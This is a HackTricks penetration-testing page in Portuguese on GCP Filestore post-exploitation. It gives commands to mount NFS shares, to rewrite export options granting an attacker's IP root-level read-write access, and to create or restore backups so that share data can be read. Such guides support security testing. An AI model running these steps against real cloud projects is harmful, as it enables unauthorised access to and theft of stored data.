GCP - Filestore Post Exploitation

Suporte ao HackTricks

Filestore

Para mais informações sobre Filestore, confira:

Montar Filestore

Um sistema de arquivos compartilhado pode conter informações sensíveis interessantes do ponto de vista de um atacante. Com acesso ao Filestore, é possível montá-lo:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

Para encontrar o endereço IP de uma instância do filestore, verifique a seção de enumeração da página:

Remover Restrições e obter permissões extras

Se o atacante não estiver em um endereço IP com acesso ao compartilhamento, mas você tiver permissões suficientes para modificá-lo, é possível remover as restrições ou o acesso a ele. Também é possível conceder mais privilégios ao seu endereço IP para ter acesso administrativo ao compartilhamento:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Restore a backup

Se houver um backup, é possível restaurá-lo em uma instância existente ou em uma nova, para que suas informações se tornem acessíveis:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Criar um backup e restaurá-lo

Se você não tem acesso a um compartilhamento e não quer modificá-lo, é possível criar um backup dele e restaurá-lo conforme mencionado anteriormente:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
Suporte ao HackTricks

Last updated